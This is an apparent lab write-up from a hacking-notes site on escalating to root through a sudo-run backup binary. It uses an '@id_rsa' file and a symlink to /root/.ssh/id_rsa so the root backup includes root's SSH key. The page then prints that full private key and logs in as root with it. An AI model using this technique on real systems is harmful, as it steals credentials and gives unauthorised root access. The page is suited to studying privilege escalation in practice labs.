> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).
# Sudo Backup Binary Symlink - Linux Privilege Escalation
Sudo (backup binary / symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **Sudo (backup binary / symbolic link)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
sudo -l
sudo --version
```
## Examples
### Sudoers Binary Exploitation:
By running the `sudo -l` command as a `xander` user, you can run the `usage_management` binary with three options:
1. *`Project Backup`*
2. *`Backup MySQL data`*
3. *`Reset admin password`*
By selecting the first option ("Project Backup"), the program creates a `.zip` file with a backup as a `root` user.
### Binary Analysis (GHIDRA)
{% embed url="" %}
Install and run GHIDRA to scan binary:
```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```
* In the `Project Backup` function, this feature compresses the content of `/var/www/html` in a `project.zip` file with root privileges.
{% embed url="" %}
**Created a symbolic link to access the SSH root key**: To exploit this feature, create a symbolic link to the SSH root key in the `html` directory
```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```
**Performance of the script as root user**:
* Lancez le script `usage_management` :
* In the `project.zip` file, get the private root key (`id_rsa`).
```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```
**SSH connection with root key**:
* Use the key to log in as root:
```bash
ssh -i id_rsa root@10.10.11.18
```
---
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